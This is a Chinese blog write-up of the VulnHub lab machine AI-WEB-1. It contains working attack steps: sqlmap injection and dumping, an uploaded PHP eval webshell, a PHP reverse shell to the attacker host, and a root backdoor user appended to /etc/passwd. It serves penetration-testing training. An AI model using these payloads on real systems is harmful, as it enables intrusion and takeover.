Vulnhub靶机——AI-WEB-1
目录
一、实验环境
1.1 攻击机Kali
1.2 靶机下载
二、站点信息收集
2.1 IP扫描
2.2 端口扫描
2.3 目录扫描
三、漏洞利用
3.1 SQL注入
3.2 文件上传
四、权限提升
4.1 nc反弹连接
4.2 切换用户
一、实验环境
1.1 攻击机Kali
在虚拟机中安装Kali系统并作为攻击机
1.2 靶机下载
(1)下载地址: AI: Web: 1 ~ VulnHub
(2)通过上述简介可以知道,此盒子旨在测试渗透测试人员的技能,目标很简单,从 /root/flag.txt 获取标志。枚举 box,获取低权限 shell,然后将权限提升到 root。
(3)直接在VMware虚拟机中打开该靶机
1.3 工具准备
- Sqlmap
- BurpSuite
- 蚁剑
二、站点信息收集
2.1 IP扫描
(1)使用命令netdiscover查找靶机的IP地址
(2)发现地址为192.168.101.132
2.2 端口扫描
(1)使用nmap工具对目标机进行端口扫描,发现只开启了80端口
(2)访问80端口,页面无可用信息
2.3 目录扫描
(1)使用dirsearch工具对网站目录进行扫描,发现robots.txt文件
(2)直接访问robots.txt文件,发现文件中有两个目录
(3)访问这两个目录,访问失败,均无权限
(4)使用dirsearch工具对目录/m3diNf0进行扫描,发现info.php文件
dirsearch -u http://192.168.101.132/m3diNf0
(5)使用dirsearch工具对目录/se3reTdir777进行扫描
dirsearch -u http://192.168.101.132/se3reTdir777
(6)使用dirb工具对目录/se3reTdir777进行扫描,发现index.php文件
dirb http://192.168.101.132/se3reTdir777
(7)访问info.php文件,可以发现文件的根路径
(8)访问index.php文件,发现是一个信息查询的界面
三、漏洞利用
3.1 SQL注入
(1)输入单引号 ' ,出现报错信息,证明存在SQL注入漏洞
(2)输入1' or 1=1#,页面有回显信息
(3)使用burpsuite抓包,发现注入点是uid=1&Operation=Submit
(4)使用sqlmap工具进行注入测试,发现了两个数据库:aiweb1、information_schema
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs
(5)查找aiweb1数据库下的表名,发现两个表:user、systemUser
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 --tables
(6)查找systemUser表下的字段名
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser --columns
(7)查找systemUser表中的数据,没有发现有用的信息
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" -D aiweb1 -T systemUser -C id,password,userName --dump
3.2 文件上传
(1)使用sqlmap工具中的os-shell功能,通过SQL注入漏洞在目标服务器上执行操作系统命令
python sqlmap.py -u "http://192.168.101.132/se3reTdir777/" -data "uid=1&Operation=Submit" --os-shell
分别选择4-php、Y和2-绝对路径,并输入拼接的上述找到的网站根路径与上传路径 /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
(2)在kali里新建一个muma.php,写入一句话木马
<?php @eval($_POST['cmd']);?> //一句话木马,密码为cmd
(3)将一句话木马上传到网站/se3reTdir777/uploads目录下
sqlmap -u "http://192.168.101.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write muma.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/muma.php
(4)在os-shell界面输入ls查看,一句话木马上传成功
(5)文件夹名为uploads,猜测可能存在文件上传漏洞,依次访问上述php文件,发现一个文件上传页面
四、权限提升
使用蚁剑进行连接已经上传的一句话木马
4.1 nc反弹连接
(1)在kali中开启监听
(2)新建一个nc.php文件,编写nc反弹脚本
<?php
$sock=fsockopen("192.168.101.130",9999); //这里是kali的IP
exec("/bin/bash -i <&3 >&3 2>&3");
?>
(3)在找到的文件上传页面上传该文件
(4)在蚁剑终端中输入ls,发现nc.php文件上传成功,执行该文件
php nc.php
(5)kali中监听成功
4.2 切换用户
(1)查找当前用户有写权限的文件
find / -writable -type f 2>/dev/null
(2)方法一:使用perl对密码进行加密
perl -le 'print crypt("awuawu","aa")' //第一个参数是密码,第二个参数是盐值
方法二:使用openssl加密
openssl passwd -1 -salt aa awuawu
(3)将用户xjy写入/etc/passwd中
echo "xjy:aa2bf6PiqD9iI:0:0:root:/root:/bin/bash" >>/etc/passwd
(4) 查看是否成功写入
(5)我们当前获得的webshell是一个非交互式的,使用脚本获得一个交互式的webshell,并切换用户
python -c "import pty;pty.spawn('/bin/bash')"
(6)切换目录,查找flag
声明
1.本博客文章均为博主日常学习原创内容,转载请注明出处。
2.文章内容如有涉及侵犯您的知识产权和版权问题,请及时与我联系。
3.希望以上的学习经验分享能对您有所帮助。
4.本内容仅供学习和研究使用,严禁用于任何非法或不道德的行为,任何违反法律的行为将由行为人自行承担。
相关文章:

Vulnhub靶机——AI-WEB-1
目录 一、实验环境 1.1 攻击机Kali 1.2 靶机下载 二、站点信息收集 2.1 IP扫描 2.2 端口扫描 2.3 目录扫描 三、漏洞利用 3.1 SQL注入 3.2 文件上传 四、权限提升 4.1 nc反弹连接 4.2 切换用户 一、实验环境 1.1 攻击机Kali 在虚拟机中安装Kali系统并作为攻击机 1.2 靶机下载 (…...

无人系统:未来科技的智能化代表
无人系统(Unmanned Systems)是指在不依赖人类直接干预的情况下,通过自主或远程控制方式完成任务的系统。随着科技的不断进步,特别是在人工智能、机器人学、传感技术、通信技术等领域的突破,无人系统在各行各业中得到了…...

在Docker中部署DataKit最佳实践
本文主要介绍如何在 Docker 中安装 DataKit。 配置和启动 DataKit 容器 登陆观测云平台,点击「集成」 -「DataKit」 - 「Docker」,然后拷贝第二步的启动命令,启动参数按实际情况配置。 拷贝启动命令: sudo docker run \--hostn…...

进程的状态 ─── linux第11课
目录 编辑 补充知识: 1.并行和并发 分时操作系统(Time-Sharing Systems) 实时操作系统(Real-Time Systems) 进程的状态(操作系统层面) 编辑 运行状态 阻塞状态 状态总结: 挂起状态 linux下的进程状态 补充知识: …...

MySQL数据库基本概念
目录 什么是数据库 从软件角度出发 从网络角度出发 MySQL数据库的client端和sever端进程 mysql的client端进程连接sever端进程 mysql配置文件 MySql存储引擎 MySQL的sql语句的分类 数据库 库的操作 创建数据库 不同校验规则对查询的数据的影响 不区分大小写 区…...
什么是 jQuery
一、jQuery 基础入门 (一)什么是 jQuery jQuery 本质上是一个快速、小巧且功能丰富的 JavaScript 库。它将 JavaScript 中常用的功能代码进行了封装,为开发者提供了一套简洁、高效的 API,涵盖了 HTML 文档遍历与操作、事件处理、…...

Redis Desktop Manager(Redis可视化工具)安装及使用详细教程
一、安装包下载 直接从官网下载,官网下载链接地址:Downloads - Redis 二、安装步骤 2.1说明 Redis Desktop Manager是一款简单快速、跨平台的Redis桌面管理工具,也也被称作Redis可视化工具。 支持命令控制台操作,以及常用&…...

[KEIL]单片机技巧 01
1、查看外设寄存器的值 配合对应的芯片开发手册以查看寄存器及其每一位的意义,可以解决90%以上的单纯的片内外设bug,学会如何通过寄存器的值来排外设上的蛊是嵌入式开发从小白到入门的重要一步,一定要善于使用这个工具,而不是外设…...
云原生监控篇——全链路可观测性与AIOps实战
引言:监控即生命线 2023年某全球支付平台因一次未被捕获的数据库连接泄漏,导致每小时损失120万美元。而另一家社交巨头通过实时异常检测系统,在30秒内自动隔离了大规模DDoS攻击。这两个案例揭示了云原生时代的核心生存法则——监控不是可选项…...
C# 13与.NET 9革新及工业开发应用
摘要 微软推出的C# 13与.NET 9以“高效且智能”为导向,具备扩展类型、半自动属性、锁对象优化等十大革新。本文深入剖析新特性于工业级开发的应用场景,包含性能优化策略、AI集成方案以及EF Core实战技巧,为开发者提供从理论到实践的完整指引…...

Linux系统之DHCP网络协议
目录 一、DHCP概述 二、DHCP部署实操 2.1、安装DHCP软件 2.2、拷贝配置文件 2.3、配置文件详解 2.4、重启软件服务 2.5、新开一台服务器,查看dhcp地址获取 一、DHCP概述 DHCP(Dynamic Host Configuration Protocol)是一种应用层网络协…...

【Linux】【网络】不同子网下的客户端和服务器通信其它方式
【Linux】【网络】不同子网下的客户端和服务器通信其它方式 那么,在 NAT 环境下,应该如何让内网设备做为服务器,使内网设备被外部连接? 1 多拨 部分运营商,支持在多个设备上,通过 PPPoE 登录同一个宽带账…...
【C++/数据结构】栈
零.导言 栈是一种数据结构,在后续的学习中可能经常使用,因此我们今天就来学习如何实现栈,以更好地使用它。 一.栈的实现 栈的形式如下: #include<iostream> #include<cassert>using namespace std;typedef int Stack…...

Qt 对象树详解:从原理到运用
1. 什么是对象树? 对象树是一种基于父子关系的对象管理机制。在 Qt 中,所有继承自 QObject 的类都可以参与到对象树中。 当一个对象被设置为另一个对象的父对象时,子对象会被添加到父对象的内部列表中,形成一种树状结构。 Qt 提…...
【软路由】ImmortalWrt 编译指南:从入门到精通
对于喜欢折腾路由器,追求极致性能和定制化的玩家来说,OpenWrt 无疑是一个理想的选择。而在众多 OpenWrt 衍生版本中,ImmortalWrt 以其更活跃的社区、更激进的特性更新和对新硬件的支持而备受关注。 本文将带你深入了解 ImmortalWrt࿰…...

【智能音频新风尚】智能音频眼镜+FPC,打造极致听觉享受!【新立电子】
智能音频眼镜,作为一款将时尚元素与前沿科技精妙融合的智能设备,这种将音频技术与眼镜形态完美结合的可穿戴设备,不仅解放了用户的双手,更为人们提供了一种全新的音频交互体验。新立电子FPC在智能音频眼镜中的应用,为音…...

第2章 windows故障排除(网络安全防御实战--蓝军武器库)
网络安全防御实战--蓝军武器库是2020年出版的,已经过去3年时间了,最近利用闲暇时间,抓紧吸收,总的来说,第2章开始带你入门了,这里给出了几个windows重要的工具,说实话,好多我也是第一…...

深度学习笔记——线性回归的从0开始实现
记录学习到的知识: 语义分割是将标签或类别与图片的每个像素关联的一种深度学习算法。 它用来识别构成可区分类别的像素集合。 图像分割是一个端到端图像分析过程,它将数字图像分成多个片段,并对每个区域中包含的信息进行分类。三种图像分割…...
配置Spring Boot中的Jackson序列化
配置Spring Boot中的Jackson序列化 在开发基于Spring Boot的应用程序时,Jackson是默认的JSON序列化和反序列化工具。它提供了强大的功能,可以灵活地处理JSON数据。然而,Jackson的默认行为可能无法完全满足我们的需求。例如,日期格…...
AWS跨账号服务全解析:安全共享资源的最佳实践
在复杂的云环境中,企业常常需要将不同业务部门、项目或环境分配到独立的AWS账户中,以实现资源隔离和权限管控。然而,跨账户的资源共享与协作需求也随之而来。AWS为此提供了丰富的跨账号服务,允许不同账户之间安全、高效地共享资源。本文将深入解析这些服务,并结合实际场景…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...

HTML 列表、表格、表单
1 列表标签 作用:布局内容排列整齐的区域 列表分类:无序列表、有序列表、定义列表。 例如: 1.1 无序列表 标签:ul 嵌套 li,ul是无序列表,li是列表条目。 注意事项: ul 标签里面只能包裹 li…...

Java-41 深入浅出 Spring - 声明式事务的支持 事务配置 XML模式 XML+注解模式
点一下关注吧!!!非常感谢!!持续更新!!! 🚀 AI篇持续更新中!(长期更新) 目前2025年06月05日更新到: AI炼丹日志-28 - Aud…...
.Net Framework 4/C# 关键字(非常用,持续更新...)
一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...
服务器--宝塔命令
一、宝塔面板安装命令 ⚠️ 必须使用 root 用户 或 sudo 权限执行! sudo su - 1. CentOS 系统: yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh2. Ubuntu / Debian 系统…...

人工智能(大型语言模型 LLMs)对不同学科的影响以及由此产生的新学习方式
今天是关于AI如何在教学中增强学生的学习体验,我把重要信息标红了。人文学科的价值被低估了 ⬇️ 转型与必要性 人工智能正在深刻地改变教育,这并非炒作,而是已经发生的巨大变革。教育机构和教育者不能忽视它,试图简单地禁止学生使…...

AI语音助手的Python实现
引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…...
上位机开发过程中的设计模式体会(1):工厂方法模式、单例模式和生成器模式
简介 在我的 QT/C 开发工作中,合理运用设计模式极大地提高了代码的可维护性和可扩展性。本文将分享我在实际项目中应用的三种创造型模式:工厂方法模式、单例模式和生成器模式。 1. 工厂模式 (Factory Pattern) 应用场景 在我的 QT 项目中曾经有一个需…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...